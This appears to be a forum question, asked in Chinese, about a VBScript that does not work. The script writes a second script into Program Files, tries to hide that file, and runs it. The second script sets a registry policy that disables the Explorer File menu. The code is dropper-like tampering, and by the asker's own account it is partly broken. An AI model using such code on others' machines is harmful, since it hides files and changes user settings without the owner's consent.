Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="C:\Program Files\number2.vbs"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.WriteLine "Set objWshShell = CreateObject(""WScript.Shell"")"
objFile.WriteLine "objWshShell.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu"", 1, ""REG_DWORD"" "
objFile.WriteLine "Set objWshShell = Nothing"
objFile.Close
------------------Below part doesnt work in script-------------------------------
ObjFile.Attributes = objFile.Attributes XOR 2
---------------------------Below part doesnt work in script-------------------
Set objShell = Wscript.CreateObject("WScript.Shell")
objShell.Run "C:\Program Files\number2.vbs"
Set objShell = Nothing
当我执行 objshell.run 时,它说它找不到指定的文件,而对于 objfile 属性,它说它找不到属性的方法?我在没有运行部分的情况下运行了文件,它工作并创建了文件,所以我很困惑为什么如果它首先创建文件运行将无法工作?